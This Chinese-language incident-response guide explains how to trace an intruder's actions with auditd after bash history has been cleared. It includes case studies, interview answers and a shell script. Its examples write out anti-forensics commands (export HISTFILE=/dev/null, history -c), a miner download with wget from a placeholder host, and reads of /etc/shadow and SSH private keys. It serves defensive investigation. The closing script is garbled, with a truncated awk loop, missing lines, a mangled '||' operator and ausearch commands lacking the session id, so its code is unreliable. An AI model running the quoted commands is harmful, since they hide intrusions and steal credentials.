异常登录与 history 被清空
01 前置理论与核心机制¶
1. history 的局限性与伪装¶
- 用户态的脆弱性:Linux 默认的 history 命令仅为 Bash Shell 在用户态维护的文本记录。攻击者登录后,通过执行 export HISTFILE=/dev/null 或退出前执行 history -c,即可轻易清空操作记录,掩盖入侵痕迹。
- 保留现场的优先级:遇到异常登录时,切忌默认系统无异常操作。首要任务是保护现场,严禁盲目重启服务器,以免导致内存中的网络连接(netstat/ss)和临时恶意进程(ps)等易失性证据丢失。
2. Auditd 内核级审计机制¶
- 降维观测:auditd 是 Linux 内核级别的审计守护进程。只要系统开启该服务并配置了相应规则,所有匹配的程序执行和文件访问行为,都会在系统调用(System Call)层面被直接记录。
- 不可见特征:即使用户在应用层清空了 Bash 历史,底层的操作路径依然会原封不动地记录在 /var/log/audit/audit.log 中。只要规则生效,用户态的伪装无法绕过底层审计。
02 故障排查与恢复闭环 SOP¶
当监控报警有未知 IP 登录,且 history 无排查线索时,按以下步骤溯源:
步骤一:锁定异常登录的会话 ID (Session ID)¶
从审计日志中提取对应的成功登录记录,找出攻击者所属的会话标识:
- 观测点:比对告警的未知 IP,找到该 IP 对应记录里的 ses(Session ID)字段,记录该数值(例如 48)。
步骤二:提取该会话真实的命令执行链路¶
指定获取的会话 ID,提取该会话在系统底层实际执行的程序:
# 根据 session 过滤进程标题 (PROCTITLE),并提取出具体的命令明文
ausearch --session -m PROCTITLE -i | sed -n 's/.*proctitle=//p'
- 观测点:查阅输出的执行链路。此处可暴露攻击者的真实动作,例如是否使用 wget/curl 拉取外部脚本、是否查看了 crontab 系统定时任务,或尝试越权读取密码文件。
步骤三:关联溯源,追踪敏感文件动向¶
结合操作动作(如 cat, vi),继续深挖攻击者访问过的具体敏感文件:
- 观测点:auditd 记录的是内核层面的物理路径。无论对方使用何种相对路径访问,此处均会显示类似于 /etc/shadow 或 /root/.ssh/authorized_keys 的绝对路径。
步骤四:凭证轮换与规则锁定¶
完成现场取证和后门清理后,必须执行安全加固: - 凭证轮换:立即更换所有可能被读取的密码、SSH 密钥,清理未知的定时任务。 - 锁死规则:在生产环境 /etc/audit/rules.d/audit.rules 文件末尾追加 -e 2。这会使审计规则进入“不可变模式”(Immutable mode)。即使攻击者提权也无法篡改或停用审计规则,必须重启物理服务器才能使其失效。
03 真实生产故障现象与案例库¶
案例 1:挖矿木马隐藏执行¶
- 监控现象:报警有异地 IP 使用 root 登录服务器。上线排查发现 history 为空,当前 CPU 负载正常。
- 排查结果:通过 ausearch --session 查出会话,发现其中包含 wget http://x.x.x.x/miner.sh 和 chmod +x 的操作。
- 根因与处置:攻击者植入了挖矿脚本并设置了定时唤醒,当前处于潜伏期。处置方案为按审计记录中的路径删除恶意脚本,清理 /var/spool/cron 下的异常定时任务,并强制重置 SSH 密钥对。
案例 2:凭证窃取与横向移动准备¶
- 监控现象:内网跳板机告警异常登录,未见异常进程活动。
- 排查结果:审计日志显示该 Session 执行了 cat /etc/shadow 和 cat /root/.ssh/id_rsa。
- 根因与处置:攻击者正在窃取 Hash 密码和私钥,准备向内网其他服务器进行横向渗透。处置方案为立即切断该跳板机网络,全局排查该私钥可信的所有内网目标机器,并批量轮换凭证。
04 生产排障速查表(异常登录与审计追踪)¶
顺序排查层级执行命令 / 观测点异常定性处置动作01会话锁定ausearch -m USER_LOGIN --success yes -ts today匹配告警的异常 IP 来源提取记录中的 Session ID (ses=xx)02命令溯源ausearch --session <id> -m PROCTITLE -i发现 history 中不存在的执行动作记录其调用的外部脚本或后门程序03文件追踪ausearch --session <id> -m PATH -c cat -i访问了 shadow 或 authorized_keys明确核心机密已泄露,转入凭证轮换流程04现场清理查杀关联 PID 与清理文件存在后留的驻留脚本清理 Crontab 及 /tmp 下的可疑文件05规则加固查看 /etc/audit/rules.d/audit.rules规则过于宽泛或未锁定针对 /etc 重点监控,末尾追加 -e 2 锁死
05 面试应答参考话术¶
面试官问:“监控报警有未知 IP 登录了服务器,但你上去一看 history 里没有执行记录。你怎么查出对方到底干了什么?”
可以这样回答:遇到这类异常登录告警,首要原则是保护现场。不能盲目操作或重启服务器,必须保留内存中的网络连接和临时进程状态。关于 history 记录为空,是因为它仅为用户态的文本记录,攻击者通过执行 history -c 或重定向环境变量极易将其清空。这种应用层的掩饰不可信,标准做法是直接查阅系统底层的 auditd 内核审计日志。只要系统开启了内核审计,底层的系统调用操作是无法被直接抹除的。第一步:提取会话 ID
首先执行 ausearch -m USER_LOGIN 过滤当日成功的登录记录,对比告警的异常 IP,提取对应的 Session ID。第二步:根据会话倒查执行链路
利用该 Session ID,执行 ausearch --session <id> -m PROCTITLE 调出该会话真实执行过的程序明文。此处可清晰暴露对方是否拉取了恶意脚本、查看了定时任务或尝试提权。第三步:排查敏感文件访问
结合 -m PATH 配合具体命令(如 cat、vi),排查攻击者是否越权读取了 /etc/shadow 或私钥等敏感文件。梳理完所有操作痕迹后,顺藤摸瓜清理驻留后门,最后全面轮换密码和密钥。在生产环境中,处理完毕后还需在审计规则末尾追加 -e 2 进行锁定,防止攻击者提权后篡改审计配置。
06 面试高频追问与应答预案¶
追问 1:生产环境能否全量开启 Auditd 监控所有操作?¶
- 回答要点:
- 不能盲目开启。如果开启对所有文件或系统调用的全量记录,高并发下的磁盘 I/O 会压垮系统,甚至导致内核阻塞。
- 标准做法:需进行定向监控。通常仅监控极个别关键目录(如 /etc/、/bin/ 的权限及内容修改),或重点监控 execve 这类关键的程序执行系统调用。
追问 2:如果服务器未开启 auditd,history 又被清空,还能查什么?¶
- 回答要点:
- 查登录认证底表:查阅 /var/log/secure 或 /var/log/auth.log,确认认证方式及是否存在爆破行为。
- 查网络与驻留:使用 netstat -antp 或 ss 排查是否存在反弹 Shell 长连接;检查 /var/spool/cron 是否有异常定时任务;检查 ~/.ssh/authorized_keys 是否被写入后门公钥。
- 查文件时间戳:通过 find / -mtime -1 查找最近 24 小时内被修改过的文件,缩小排查范围。
07 一键安全审计与会话分析脚本(check_audit_login.sh)¶
该脚本用于快速检测当前系统审计防御状态,并提取近期可疑的成功登录事件及其 Session ID。
#!/usr/bin/env bash
# ==============================================================================
# 脚本名称: check_audit_login.sh
# 功能描述: 系统 Auditd 状态诊断与近期异常登录事件快速提取 (纯只读)
# 使用方式: 在 Linux 服务器以 root 权限执行
# ==============================================================================
set -o pipefail
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[0;33m'
BLUE='\033[0;34m'
PLAIN='\033[0m'
echo -e "${BLUE}================================================================${PLAIN}"
echo -e "${BLUE} 系统内核审计状态与登录行为巡检 ${PLAIN}"
echo -e "${BLUE}================================================================${PLAIN}"
# 1. 检查 auditd 服务状态
echo -e "\n${YELLOW}[1/3] 检查 auditd 内核审计服务状态...${PLAIN}"
if command -v auditctl &>/dev/null; then
AUDIT_STATUS=$(systemctl is-active auditd 2>/dev/null)
if [ "$AUDIT_STATUS" == "active" ]; then
echo -e " -> ${GREEN}[OK] auditd 服务正在运行。${PLAIN}"
else
echo -e " -> ${RED}[WARN] auditd 服务未运行 ($AUDIT_STATUS),底层审计链路已断开!${PLAIN}"
fi
# 检查是否锁死规则 (-e 2)
IMMUTABLE_CHECK=$(auditctl -s 2>/dev/null | grep "enabled" | awk '{print $2}')
if [ "$IMMUTABLE_CHECK" == "2" ]; then
echo -e " -> ${GREEN}[OK] 审计规则已进入不可变模式 (-e 2),防护生效。${PLAIN}"
else
echo -e " -> ${YELLOW}[INFO] 审计规则处于可变模式,建议在 audit.rules 末尾追加 '-e 2' 锁死规则。${PLAIN}"
fi
else
echo -e " -> ${RED}[ERROR] 未安装 audit 软件包,无法执行底层行为溯源。${PLAIN}"
exit 1
fi
# 2. 提取今天成功的远程登录记录
echo -e "\n${YELLOW}[2/3] 提取今日成功的远程用户登录事件...${PLAIN}"
if command -v ausearch &>/dev/null; then
# 提取时间、终端、IP 和 Session ID
LOGIN_EVENTS=$(ausearch -m USER_LOGIN --success yes -ts today 2>/dev/null | grep -E "addr=|ses=" | awk '{for(i=1;i ${YELLOW}请对比上述 IP。若发现异常来源,请提取右侧 ses 对应的数字,执行以下命令溯源:${PLAIN}"
echo -e " ${GREEN}ausearch --session -m PROCTITLE -i | sed -n 's/.*proctitle=//p'${PLAIN}"
else
echo -e " -> ${GREEN}[OK] 今日暂无成功的远程登录记录。${PLAIN}"
fi
fi
# 3. 检查 history 环境变量风险
echo -e "\n${YELLOW}[3/3] 检查当前 Shell History 安全配置...${PLAIN}"
if [ -z "$HISTFILE" ] \vert{}\vert{} [ "$HISTFILE" == "/dev/null" ]; then
echo -e " -> ${RED}[WARN] 当前会话的 HISTFILE 变量被置空或重定向至 /dev/null,操作将不会记录到本地。${PLAIN}"
else
echo -e " -> ${GREEN}[OK] 历史记录文件路径正常 ($HISTFILE)。${PLAIN}"
fi
echo -e "\n${BLUE}================================================================${PLAIN}"
echo -e "${BLUE}排查完毕。无论 history 是否被清空,只要 auditd 规则生效,核心操作皆可溯源。${PLAIN}"
echo -e "${BLUE}================================================================${PLAIN}"